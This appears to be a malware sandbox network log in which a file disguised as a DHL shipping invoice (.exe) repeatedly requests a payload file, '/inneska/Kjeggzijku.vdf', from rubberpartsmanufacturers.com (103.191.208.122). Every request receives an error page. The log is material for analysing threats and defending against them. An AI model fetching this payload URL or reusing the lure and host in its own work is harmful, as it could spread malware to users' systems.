2024-10-17 08:53:19 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:20 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:20 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:20 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50024	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:21 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:22 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:21 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:22 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50025	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:23 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:23 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:23 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:23 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	50026	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:24 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:25 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:24 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:25 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	50027	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:26 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:26 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:26 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:26 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	50028	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:27 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:27 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:27 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:27 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	50030	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:29 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:29 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:29 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:29 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	50031	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:30 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:31 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:31 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:31 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	50032	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:32 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:32 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:32 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:32 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	50033	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:33 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:34 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:33 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:34 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	50034	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:35 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:35 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:35 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:35 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	50035	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:36 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:37 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:37 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:37 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	50037	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:38 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:38 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:38 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:38 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	50039	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:39 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:40 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:39 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:40 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	50040	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:53:41 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:53:41 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:53:41 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:53:41 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	50041	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

